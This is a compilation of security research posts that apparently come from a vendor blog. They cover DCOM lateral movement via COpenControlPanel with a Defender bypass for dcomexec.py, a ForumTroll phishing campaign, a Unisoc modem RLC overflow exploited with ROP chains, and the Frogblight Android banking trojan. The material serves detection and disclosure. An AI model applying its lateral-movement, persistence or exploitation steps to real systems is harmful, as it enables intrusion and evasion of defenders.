In-process server In the case of an in-process server, the server is implemented as a DLL. The client loads this DLL into its own address space and directly executes functions exposed by the COM object. This approach is efficient since both client and server run within the same process.
In-process COM server
Out-of-process server Here, the server is implemented and compiled as an executable (EXE). Since the client cannot load an EXE into its address space, the server runs in its own process, separate from the client. Communication between the two processes is handled via ALPC (Advanced Local Procedure Call) ports, which serve as the RPC transport layer for COM.
Out-of-process COM server
What is DCOM?
DCOM is an extension of COM where the D stands for Distributed. It enables the client and server to reside on different machines. From the user’s perspective, there is no difference: DCOM provides an abstraction layer that makes both the client and the server appear as if they are on the same machine.
Under the hood, however, COM uses TCP as the RPC transport layer to enable communication across machines.
Distributed COM implementation
Certain requirements must be met to extend a COM object into a DCOM object. The most important one for our research is the presence of the AppID subkey in the registry, located under the COM CLSID entry.
The AppID value contains a GUID that maps to a corresponding key under HKEY_CLASSES_ROOT\AppID. Several subkeys may exist under this GUID. Two critical ones are:
These registry settings grant remote clients permissions to activate and interact with DCOM objects.
Lateral movement via DCOM
After attackers compromise a host, their next objective is often to compromise additional machines. This is what we call lateral movement. One common lateral movement technique is to achieve remote command execution on a target machine. There are many ways to do this, one of which involves abusing DCOM objects.
In recent years, many DCOM objects have been discovered. This research focuses on the objects exposed by the Impacket script dcomexec.py that can be used for command execution. More specifically, three exposed objects are used: ShellWindows, ShellBrowserWindow and MMC20.
ShellWindows
ShellWindows was one of the first DCOM objects to be identified. It represents a collection of open shell windows and is hosted by explorer.exe, meaning any COM client communicates with that process.
In Impacket’s dcomexec.py, once an instance of this COM object is created on a remote machine, the script provides a semi-interactive shell.
Each time a user enters a command, the function exposed by the COM object is called. The command output is redirected to a file, which the script retrieves via SMB and displays back to simulate a regular shell.
Internally, the script runs this command when connecting:
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__17602 2>&1
This sets the working directory to C:\ and redirects the output to the ADMIN$ share under the filename __17602. After that, the script checks whether the file exists; if it does, execution is considered successful and the output appears as if in a shell.
When running dcomexec.py against Windows 10 and 11 using the ShellWindows object, the script hangs after confirming SMB connection initialization and printing the SMB banner. As I mentioned in my personal blog post, it appears that this DCOM object no longer has permission to write to the ADMIN$ share. A simple fix is to redirect the output to a directory the DCOM object can write to, such as the Temp folder. The Temp folder can then be accessed under the same ADMIN$ share. A small change in the code resolves the issue. For example:
ShellBrowserWindow
The ShellBrowserWindow object behaves almost identically to ShellWindows and exhibits the same behavior on Windows 10. The same workaround that we used for ShellWindows applies in this case. However, on Windows 11, this object no longer works for command execution.
MMC20
The MMC20.Application COM object is the automation interface for Microsoft Management Console (MMC). It exposes methods and properties that allow MMC snap-ins to be automated.
This object has historically worked across all Windows versions. Starting with Windows Server 2025, however, attempting to use it triggers a Defender alert, and execution is blocked.
As shown in earlier examples, the dcomexec.py script writes the command output to a file under ADMIN$, with a filename that begins with __:
OUTPUT_FILENAME = '__' + str(time.time())[:5]
Defender appears to check for files written under ADMIN$ that start with __, and when it detects one, it blocks the process and alerts the user. A quick fix is to simply remove the double underscores from the output filename.
Another way to bypass this issue is to use the same workaround used for ShellWindows – redirecting the output to the Temp folder. The table below outlines the status of these objects across different Windows versions.
Windows Server 2025
Windows Server 2022
Windows 11
Windows 10
ShellWindows
Doesn’t work
Doesn’t work
Works but needs a fix
Works but needs a fix
ShellBrowserWindow
Doesn’t work
Doesn’t work
Doesn’t work
Works but needs a fix
MMC20
Detected by Defender
Works
Works
Works
Enumerating COM/DCOM objects
The first step to identifying which DCOM objects could be used for lateral movement is to enumerate them. By enumerating, I don’t just mean listing the objects. Enumeration involves:
Finding objects and filtering specifically for DCOM objects.
Identifying their interfaces.
Inspecting the exposed functions.
Automating enumeration is difficult because most COM objects lack a type library (TypeLib). A TypeLib acts as documentation for an object: which interfaces it supports, which functions are exposed, and the definitions of those functions. Even when TypeLibs are available, manual inspection is often still required, as we will explain later.
There are several approaches to enumerating COM objects depending on their use cases. Next, we’ll describe the methods I used while conducting this research, taking into account both automated and manual methods.
Automation using PowerShell In PowerShell, you can use .NET to create and interact with DCOM objects. Objects can be created using either their ProgID or CLSID, after which you can call their functions (as shown in the figure below).
Shell.Application COM object function list in PowerShell
Under the hood, PowerShell checks whether the COM object has a TypeLib and implements the IDispatch interface. IDispatch enables late binding, which allows runtime dynamic object creation and function invocation. With these two conditions met, PowerShell can dynamically interact with COM objects at runtime.
Our strategy looks like this:
As you can see in the last box, we perform manual inspection to look for functions with names that could be of interest, such as Execute, Exec, Shell, etc. These names often indicate potential command execution capabilities.
However, this approach has several limitations:
TypeLib requirement: Not all COM objects have a TypeLib, so many objects cannot be enumerated this way.
IDispatch requirement: Not all COM objects implement the IDispatch interface, which is required for PowerShell interaction.
Interface control: When you instantiate an object in PowerShell, you cannot choose which interface the instance will be tied to. If a COM class implements multiple interfaces, PowerShell will automatically select the one marked as [default] in the TypeLib. This means that other non-default interfaces, which may contain additional relevant functionality, such as command execution, could be overlooked.
Automation using C++ As you might expect, C++ is one of the languages that natively supports COM clients. Using C++, you can create instances of COM objects and call their functions via header files that define the interfaces.However, with this approach, we are not necessarily interested in calling functions directly. Instead, the goal is to check whether a specific COM object supports certain interfaces. The reasoning is that many interfaces have been found to contain functions that can be abused for command execution or other purposes.
This strategy primarily relies on an interface called IUnknown. All COM interfaces should inherit from this interface, and all COM classes should implement it.The IUnknown interface exposes three main functions. The most important is QueryInterface(), which is used to ask a COM object for a pointer to one of its interfaces.So, the strategy is to:
Enumerate COM classes in the system by reading CLSIDs under the HKEY_CLASSES_ROOT\CLSID key.
Check whether they support any known valuable interfaces. If they do, those classes may be leveraged for command execution or other useful functionality.
This method has several advantages:
No TypeLib dependency: Unlike PowerShell, this approach does not require the COM object to have a TypeLib.
Use of IUnknown: In C++, you can use the QueryInterface function from the base IUnknown interface to check if a particular interface is supported by a COM class.
No need for interface definitions: Even without knowing the exact interface structure, you can obtain a pointer to its virtual function table (vtable), typically cast as a void*. This is enough to confirm the existence of the interface and potentially inspect it further.
The figure below illustrates this strategy:
This approach is good in terms of automation because it eliminates the need for manual inspection. However, we are still only checking well-known interfaces commonly used for lateral movement, while potentially missing others.
Manual inspection using open-source tools
As you can see, automation can be difficult since it requires several prerequisites and, in many cases, still ends with a manual inspection. An alternative approach is manual inspection using a tool called OleViewDotNet, developed by James Forshaw. This tool allows you to:
List all COM classes in the system.
Create instances of those classes.
Check their supported interfaces.
Call specific functions.
Apply various filters for easier analysis.
Perform other inspection tasks.
Open-source tool for inspecting COM interfaces
One of the most valuable features of this tool is its naming visibility. OleViewDotNet extracts the names of interfaces and classes (when available) from the Windows Registry and displays them, along with any associated type libraries.
This makes manual inspection easier, since you can analyze the names of classes, interfaces, or type libraries and correlate them with potentially interesting functionality, for example, functions that could lead to command execution or persistence techniques.
Control Panel items as attack surfaces
Control Panel items allow users to view and adjust their computer settings. These items are implemented as DLLs that export the CPlApplet function and typically have the .cpl extension. Control Panel items can also be executables, but our research will focus on DLLs only.
Control Panel items
Attackers can abuse CPL files for initial access. When a user executes a malicious .cpl file (e.g., delivered via phishing), the system may be compromised – a technique mapped to MITRE ATT&CK T1218.002.
Adversaries may also modify the extensions of malicious DLLs to .cpl and register them in the corresponding locations in the registry.
Under HKEY_CURRENT_USER:
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
Under HKEY_LOCAL_MACHINE:
For 64-bit DLLs:
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
For 32-bit DLLs:
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
These locations are important when Control Panel DLLs need to be available to the current logged-in user or to all users on the machine. However, the “Control Panel” subkey and its “Cpls” subkey under HKCU should be created manually, unlike the “Control Panel” and “Cpls” subkeys under HKLM, which are created automatically by the operating system.
Once registered, the DLL (CPL file) will load every time the Control Panel is opened, enabling persistence on the victim’s system.
It’s worth noting that even DLLs that do not comply with the CPL specification, do not export CPlApplet, or do not have the .cpl extension can still be executed via their DllEntryPoint function if they are registered under the registry keys listed above.
There are multiple ways to execute Control Panel items:
This calls the Control_RunDLL function from shell32.dll, passing the CPL file as an argument. Everything inside the CPlApplet function will then be executed.
However, if the CPL file has been registered in the registry as shown earlier, then every time the Control Panel is opened, the file is loaded into memory through the COM Surrogate process (dllhost.exe):
COM Surrogate process loading the CPL file
What happened was that a Control Panel with a COM client used a COM object to load these CPL files. We will talk about this COM object in more detail later.
The COM Surrogate process was designed to host COM server DLLs in a separate process rather than loading them directly into the client process’s address space. This isolation improves stability for the in-process server model. This hosting behavior can be configured for a COM object in the registry if you want a COM server DLL to run inside a separate process because, by default, it is loaded in the same process.
‘DCOMing’ through Control Panel items
While following the manual approach of enumerating COM/DCOM objects that could be useful for lateral movement, I came across a COM object called COpenControlPanel, which is exposed through shell32.dll and has the CLSID {06622D85-6856-4460-8DE1-A81921B41C4B}. This object exposes multiple interfaces, one of which is IOpenControlPanel with IID {D11AD862-66DE-4DF4-BF6C-1F5621996AF1}.
IOpenControlPanel interface in the OleViewDotNet output
I immediately thought of its potential to compromise Control Panel items, so I wanted to check which functions were exposed by this interface. Unfortunately, neither the interface nor the COM class has a type library.
COpenControlPanel interfaces without TypeLib
Normally, checking the interface definition would require reverse engineering, so at first, it looked like we needed to take a different research path. However, it turned out that the IOpenControlPanel interface is documented on MSDN, and according to the documentation, it exposes several functions. One of them, called Open, allows a specified Control Panel item to be opened using its name as the first argument.
Full type and function definitions are provided in the shobjidl_core.h Windows header file.
Open function exposed by IOpenControlPanel interface
It’s worth noting that in newer versions of Windows (e.g., Windows Server 2025 and Windows 11), Microsoft has removed interface names from the registry, which means they can no longer be identified through OleViewDotNet.
COpenControlPanel interfaces without names
Returning to the COpenControlPanel COM object, I found that the Open function can trigger a DLL to be loaded into memory if it has been registered in the registry. For the purposes of this research, I created a DLL that basically just spawns a message box which is defined under the DllEntryPoint function. I registered it under HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls and then created a simple C++ COM client to call the Open function on this interface.
As expected, the DLL was loaded into memory. It was hosted in the same way that it would be if the Control Panel itself was opened: through the COM Surrogate process (dllhost.exe). Using Process Explorer, it was clear that dllhost.exe loaded my DLL while simultaneously hosting the COpenControlPanel object along with other COM objects.
COM Surrogate loading a custom DLL and hosting the COpenControlPanel object
Based on my testing, I made the following observations:
The DLL that needs to be registered does not necessarily have to be a .cpl file; any DLL with a valid entry point will be loaded.
The Open() function accepts the name of a Control Panel item as its first argument. However, it appears that even if a random string is supplied, it still causes all DLLs registered in the relevant registry location to be loaded into memory.
Now, what if we could trigger this COM object remotely? In other words, what if it is not just a COM object but also a DCOM object? To verify this, we checked the AppID of the COpenControlPanel object using OleViewDotNet.
COpenControlPanel object in OleViewDotNet
Both the launch and access permissions are empty, which means the object will follow the system’s default DCOM security policy. By default, members of the Administrators group are allowed to launch and access the DCOM object.
Based on this, we can build a remote strategy. First, upload the “malicious” DLL, then use the Remote Registry service to register it in the appropriate registry location. Finally, use a trigger acting as a DCOM client to remotely invoke the Open() function, causing our DLL to be loaded. The diagram below illustrates the flow of this approach.
Malicious DLL loading using DCOM
The trigger can be written in either C++ or Python, for example, using Impacket. I chose Python because of its flexibility. The trigger itself is straightforward: we define the DCOM class, the interface, and the function to call. The full code example can be found here.
Once the trigger runs, the behavior will be the same as when executing the COM client locally: our DLL will be loaded through the COM Surrogate process (dllhost.exe).
As you can see, this technique not only achieves command execution but also provides persistence. It can be triggered in two ways: when a user opens the Control Panel or remotely at any time via DCOM.
Detection
The first step in detecting such activity is to check whether any Control Panel items have been registered under the following registry paths:
Although commonly known best practices and research papers regarding Windows security advise monitoring only the first subkey, for thorough coverage it is important to monitor all of the above.
In addition, monitoring dllhost.exe (COM Surrogate) for unusual COM objects such as COpenControlPanel can provide indicators of malicious activity.
Finally, it is always recommended to monitor Remote Registry usage because it is commonly abused in many types of attacks, not just in this scenario.
Conclusion
In conclusion, I hope this research has clarified yet another attack vector and emphasized the importance of implementing hardening practices. Below are a few closing points for security researchers to take into account:
As shown, DCOM represents a large attack surface. Windows exposes many DCOM classes, a significant number of which lack type libraries – meaning reverse engineering can reveal additional classes that may be abused for lateral movement.
Changing registry values to register malicious CPLs is not good practice from a red teaming ethics perspective. Defender products tend to monitor common persistence paths, but Control Panel applets can be registered in multiple registry locations, so there is always a gap that can be exploited.
Bitness also matters. On x64 systems, loading a 32-bit DLL will spawn a 32-bit COM Surrogate process (dllhost.exe *32). This is unusual on 64-bit hosts and therefore serves as a useful detection signal for defenders and an interesting red flag for red teamers to consider.
In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.
In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.
The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.
A well-prepared attack
The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.
Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.
A screenshot of the malicious site elements showing the IP address and initial session date
The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.
Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:
The message that was displayed when we attempted to download the archive
Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.
The message that was displayed when we attempted to download the archive from a non-Windows OS
The malicious archive
The malicious archives downloaded via the email links contained the following:
A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents
When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.
The script that was launched by opening the shortcut
The downloaded payload then performed the following actions:
Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.
The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.
A screenshot of a page from the downloaded report
At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.
The final payload: the Tuoni framework
The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.
As in the previous campaign, the attackers used fastly.net as C2 servers.
Conclusion
The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.
Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.
ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.
Imagine you’re cruising down the highway in your brand-new electric car. All of a sudden, the massive multimedia display fills with Doom, the iconic 3D shooter game. It completely replaces the navigation map or the controls menu, and you realize someone is playing it remotely right now. This is not a dream or an overactive imagination – we’ve demonstrated that it’s a perfectly realistic scenario in today’s world.
The internet of things now plays a significant role in the modern world. Not only are smartphones and laptops connected to the network, but also factories, cars, trains, and even airplanes. Most of the time, connectivity is provided via 3G/4G/5G mobile data networks using modems installed in these vehicles and devices. These modems are increasingly integrated into a System-on-Chip (SoC), which uses a Communication Processor (CP) and an Application Processor (AP) to perform multiple functions simultaneously. A general-purpose operating system such as Android can run on the AP, while the CP, which handles communication with the mobile network, typically runs on a dedicated OS. The interaction between the AP, CP, and RAM within the SoC at the microarchitecture level is a “black box” known only to the manufacturer – even though the security of the entire SoC depends on it.
Bypassing 3G/LTE security mechanisms is generally considered a purely academic challenge because a secure communication channel is established when a user device (User Equipment, UE) connects to a cellular base station (Evolved Node B, eNB). Even if someone can bypass its security mechanisms, discover a vulnerability in the modem, and execute their own code on it, this is unlikely to compromise the device’s business logic. This logic (for example, user applications, browser history, calls, and SMS on a smartphone) resides on the AP and is presumably not accessible from the modem.
To find out, if that is true, we conducted a security assessment of a modern SoC, Unisoc UIS7862A, which features an integrated 2G/3G/4G modem. This SoC can be found in various mobile devices by multiple vendors or, more interestingly, in the head units of modern Chinese vehicles, which are becoming increasingly common on the roads. The head unit is one of a car’s key components, and a breach of its information security poses a threat to road safety, as well as the confidentiality of user data.
During our research, we identified several critical vulnerabilities at various levels of the Unisoc UIS7862A modem’s cellular protocol stack. This article discusses a stack-based buffer overflow vulnerability in the 3G RLC protocol implementation (CVE-2024-39432). The vulnerability can be exploited to achieve remote code execution at the early stages of connection, before any protection mechanisms are activated.
Importantly, gaining the ability to execute code on the modem is only the entry point for a complete remote compromise of the entire SoC. Our subsequent efforts were focused on gaining access to the AP. We discovered several ways to do so, including leveraging a hardware vulnerability in the form of a hidden peripheral Direct Memory Access (DMA) device to perform lateral movement within the SoC. This enabled us to install our own patch into the running Android kernel and execute arbitrary code on the AP with the highest privileges. Details are provided in the relevant sections.
Acquiring the modem firmware
The modem at the center of our research was found on the circuit board of the head unit in a Chinese car.
Circuit board of the head unit
Description of the circuit board components:
Number in the board photo
Component
1
Realtek RTL8761ATV 802.11b/g/n 2.4G controller with wireless LAN (WLAN) and USB interfaces (USB 1.0/1.1/2.0 standards)
2
SPRD UMW2652 BGA WiFi chip
3
55966 TYADZ 21086 chip
4
SPRD SR3595D (Unisoc) radio frequency transceiver
5
Techpoint TP9950 video decoder
6
UNISOC UIS7862A
7
BIWIN BWSRGX32H2A-48G-X internal storage, Package200-FBGA, ROM Type – Discrete, ROM Size – LPDDR4X, 48G
8
SCY E128CYNT2ABE00 EMMC 128G/JEDEC memory card
9
SPREADTRUM UMP510G5 power controller
10
FEI.1s LE330315 USB2.0 shunt chip
11
SCT2432STER synchronous step-down DC-DC converter with internal compensation
Using information about the modem’s hardware, we desoldered and read the embedded multimedia memory card, which contained a complete image of its operating system. We then analyzed the image obtained.
Remote access to the modem (CVE-2024-39431)
The modem under investigation, like any modern modem, implements several protocol stacks: 2G, 3G, and LTE. Clearly, the more protocols a device supports, the more potential entry points (attack vectors) it has. Moreover, the lower in the OSI network model stack a vulnerability sits, the more severe the consequences of its exploitation can be. Therefore, we decided to analyze the data packet fragmentation mechanisms at the data link layer (RLC protocol).
We focused on this protocol because it is used to establish a secure encrypted data transmission channel between the base station and the modem, and, in particular, it is used to transmit higher-layer NAS (Non-Access Stratum) protocol data. NAS represents the functional level of the 3G/UMTS protocol stack. Located between the user equipment (UE) and core network, it is responsible for signaling between them. This means that a remote code execution (RCE) vulnerability in RLC would allow an attacker to execute their own code on the modem, bypassing all existing 3G communication protection mechanisms.
3G protocol stack
The RLC protocol uses three different transmission modes: Transparent Mode (TM), Unacknowledged Mode (UM), and Acknowledged Mode (AM). We are only interested in UM, because in this mode the 3G standard allows both the segmentation of data and the concatenation of several small higher-layer data fragments (Protocol Data Units, PDU) into a single data link layer frame. This is done to maximize channel utilization. At the RLC level, packets are referred to as Service Data Units (SDU).
Among the approximately 75,000 different functions in the firmware, we found the function for handling an incoming SDU packet. When handling a received SDU packet, its header fields are parsed. The packet itself consists of a mandatory header, optional headers, and data. The number of optional headers is not limited. The end of the optional headers is indicated by the least significant bit (E bit) being equal to 0. The algorithm processes each header field sequentially, while their E-bits equal 1. During processing, data is written to a variable located on the stack of the calling function. The stack depth is 0xB4 bytes. The size of the packet that can be parsed (i.e., the number of headers, each header being a 2-byte entry on the stack) is limited by the SDU packet size of 0x5F0 bytes.
As a result, exploitation can be achieved using just one packet in which the number of headers exceeds the stack depth (90 headers). It is important to note that this particular function lacks a stack canary, and when the stack overflows, it is possible to overwrite the return address and some non-volatile register values in this function. However, overwriting is only possible with a value ending in one in binary (i.e., a value in which the least significant bit equals 1). Notably, execution takes place on ARM in Thumb mode, so all return addresses must have the least significant bit equal to 1. Coincidence? Perhaps.
In any case, sending the very first dummy SDU packet with the appropriate number of “correct” headers caused the device to reboot. However, at that moment, we had no way to obtain information on where and why the crash occurred (although we suspect the cause was an attempt to transfer control to the address 0xAABBCCDD, taken from our packet).
Gaining persistence in the system
The first and most important observation is that we know the pointer to the newly received SDU packet is stored in register R2. Return Oriented Programming (ROP) techniques can be used to execute our own code, but first we need to make sure it is actually possible.
We utilized the available AT command handler to move the data to RAM areas. Among the available AT commands, we found a suitable function – SPSERVICETYPE.
Next, we used ROP gadgets to overwrite the address 0x8CE56218 without disrupting the subsequent operation of the incoming SDU packet handling algorithm. To achieve this, it was sufficient to return to the function from which the SDU packet handler was called, because it was invoked as a callback, meaning there is no data linkage on the stack. Given that this function only added 0x2C bytes to the stack, we needed to fit within this size.
Stack overflow in the context of the operating system
Having found a suitable ROP chain, we launched an SDU packet containing it as a payload. As a result, we saw the output 0xAABBCCDD in the AT command console for SPSERVICETYPE. Our code worked!
Next, by analogy, we input the address of the stack frame where our data was located, but it turned out not to be executable. We then faced the task of figuring out the MPU settings on the modem. Once again, using the ROP chain method, we generated code that read the MPU table, one DWORD at a time. After many iterations, we obtained the following table.
The table shows what we suspected – the code section is only mapped for execution. An attempt to change the configuration resulted in another ROP chain, but this same section was now mapped with write permissions in an unused slot in the table. Because of MPU programming features, specifically the presence of the overlap mechanism and the fact that a region with a higher ID has higher priority, we were able to write to this section.
All that remained was to use the pointer to our data (still stored in R2) and patch the code section that had just been unlocked for writing. The question was what exactly to patch. The simplest method was to patch the NAS protocol handler by adding our code to it. To do this, we used one of the NAS protocol commands – MM information. This allowed us to send a large amount of data at once and, in response, receive a single byte of data using the MM status command, which confirmed the patching success.
As a result, we not only successfully executed our own code on the modem side but also established full two-way communication with the modem, using the high-level NAS protocol as a means of message delivery. In this case, it was an MM Status packet with the cause field equaling 0xAA.
However, being able to execute our own code on the modem does not give us access to user data. Or does it?
The full version of the article with a detailed description of the development of an AR exploit that led to Doom being run on the head unit is available on ICS CERT website.
In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.
Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.
Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.
This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.
Technical details
Background
While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.
Initial infection
We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.
While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.
The phishing website distributing Frogblight
We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.
The admin panel interface of the website from which Frogblight is downloaded
Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.
The GitHub repository with the phishing website source code
App features
As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.
After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.
The full list of declared permissions in the app manifest file is shown below:
MANAGE_EXTERNAL_STORAGE
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
READ_SMS
RECEIVE_SMS
SEND_SMS
WRITE_SMS
RECEIVE_BOOT_COMPLETED
INTERNET
QUERY_ALL_PACKAGES
BIND_ACCESSIBILITY_SERVICE
DISABLE_KEYGUARD
FOREGROUND_SERVICE
FOREGROUND_SERVICE_DATA_SYNC
POST_NOTIFICATIONS
QUICKBOOT_POWERON
RECEIVE_MMS
RECEIVE_WAP_PUSH
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
SCHEDULE_EXACT_ALARM
USE_EXACT_ALARM
VIBRATE
WAKE_LOCK
ACCESS_NETWORK_STATE
READ_PHONE_STATE
After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.
The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.
The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.
REST API client method
Description
Parameters
fetchOutbox
Request message content to be sent via SMS or displayed in a notification
device_id: unique Android device ID
ackOutbox
Send the results of processing a message received after calling the API method fetchOutbox
device_id: unique Android device ID
msg_id: message ID
status: message processing status
error: message processing error
getAllPackages
Request the names of app packages whose launch should open a website in WebView to capture user input data
action: same as the API method name
getPackageUrl
Request the website URL that will be opened in WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
getFileCommands
Request commands for file operations
Available commands:
● download: upload the target file to the C2
● generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2
● list: send information about all files in the target directory to the C2
● thumbnail: generate a thumbnail from the target image file and upload it to the C2
device_id: unique Android device ID
pingDevice
Check the C2 connection
device_id: unique Android device ID
reportHijackSuccess
Send captured user input data from the website opened in a WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
data: captured user input data
saveAppList
Send information about the apps installed on the device
device_id: unique Android device ID app_list: a list of apps installed on the device
app_count: a count of apps installed on the device
saveInjection
Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL
device_id: unique Android device ID app_name: the package name of the target app
form_data: captured user input data
savePermission
Unused but presumably needed for sending information about permissions
device_id: unique Android device ID permission_type: permission type
status: permission status
sendSms
Send information about an SMS message from the device
device_id: unique Android device ID sender: the sender’s/recipient’s phone number
message: message text
timestamp: received/sent time
type: message type (inbox/sent)
sendTelegramMessage
Send captured user input data from the webpages opened by Frogblight in WebView
device_id: unique Android device ID
url: website URL
title: website page title
input_type: the type of user input data
input_value: user input data
final_value: user input data with additional information
timestamp: the time of data capture
